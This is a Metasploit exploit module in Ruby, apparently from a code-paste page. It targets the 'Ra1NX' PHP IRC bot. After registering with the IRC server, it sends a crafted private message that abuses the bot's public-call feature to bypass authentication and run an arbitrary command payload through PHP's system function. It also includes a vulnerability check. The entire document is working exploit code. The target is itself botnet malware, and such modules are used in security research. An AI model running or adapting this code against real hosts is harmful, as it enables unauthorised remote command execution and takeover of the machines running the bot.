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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | # Exploit Title: "Ra1NX" PHP Bot pubcall Authentication Bypass Remote Code Execution # Date: March 24, 2013 # Exploit Author: bwall # Software Link: https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0 # Version: v2.0 # Tested on: Ubuntu require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => '"Ra1NX" PHP Bot pubcall Authentication Bypass Remote Code Execution', 'Description'=> %q{ This module allows remote command execution on the PHP IRC bot Ra1NX by using the public call feature in private message to covertly bypass the authentication system. }, 'Author' => [ 'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'], ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'], ['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b'] ], 'Platform' => [ 'unix', 'win'], 'Arch' => ARCH_CMD, 'Payload'=> { 'Space'=> 344, 'BadChars' => '', 'DisableNops' => true, 'Compat'=> { 'PayloadType' => 'cmd', } }, 'Targets'=> [ [ 'Ra1NX', { } ] ], 'Privileged' => false, 'DisclosureDate' => 'March 24 2013', 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(6667), OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']), OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system']) ], self.class) end def check connect response = register(sock) if response =~ /463/ or response =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end confirm_string = rand_text_alpha(8) response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n") print response quit(sock) disconnect if response =~ /#{confirm_string}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def send_msg(sock, data) sock.put(data) data = "" begin read_data = sock.get_once(-1, 1) while not read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end rescue EOFError end data end def register(sock) msg = "" if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" end if datastore['NICK'].length > 9 nick = rand_text_alpha(9) print_error("The nick is longer than 9 characters, using #{nick}") else nick = datastore['NICK'] end msg << "NICK #{nick}\r\n" msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" response = send_msg(sock,msg) return response end def ra1nx_command(sock) encoded = payload.encoded command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n" response = send_msg(sock, command_msg) return response end def quit(sock) quit_msg = "QUIT :bye bye\r\n" sock.put(quit_msg) end def exploit connect print_status("#{rhost}:#{rport} - Registering with the IRC Server...") response = register(sock) if response =~ /463/ or response =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return end print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...") ra1nx_command(sock) quit(sock) disconnect end end |
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